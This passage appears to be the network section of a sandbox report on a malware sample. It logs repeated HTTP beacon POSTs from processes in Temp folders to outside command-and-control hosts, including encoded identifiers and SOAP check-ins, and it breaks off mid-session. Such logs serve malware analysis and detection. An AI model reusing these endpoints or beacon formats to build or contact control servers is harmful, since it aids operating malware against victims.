614	192.168.2.5	50460	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.364387989 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:48.607166052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.5	50462	147.185.221.19	30946	7324	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.438149929 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:32:48.899533987 CEST	385	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:34:15.183320999 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:34:15.483335018 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:34:16.083296061 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.5	50461	147.185.221.19	30946	5608	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.438674927 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:32:48.944519043 CEST	385	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:34:15.182094097 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:34:15.482045889 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:34:16.082120895 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.5	50463	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.737719059 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:48.988516092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.5	50464	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.963401079 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:49.210655928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.5	50465	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:49.343592882 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:49.583327055 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.5	50466	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:49.463762045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:49.714169025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.5	50467	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:49.838929892 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:50.097141981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.5	50468	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:50.067667007 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:50.311331987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.5	50469	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:50.461823940 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:50.709302902 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.5	50470	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:50.565610886 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:50.821535110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.5	50471	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:50.956634998 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:51.205957890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.5	50472	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:51.184535027 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:51.435743093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.5	50473	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:51.560429096 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:51.804146051 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.5	50474	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:51.685703993 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:51.935503960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.5	50475	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
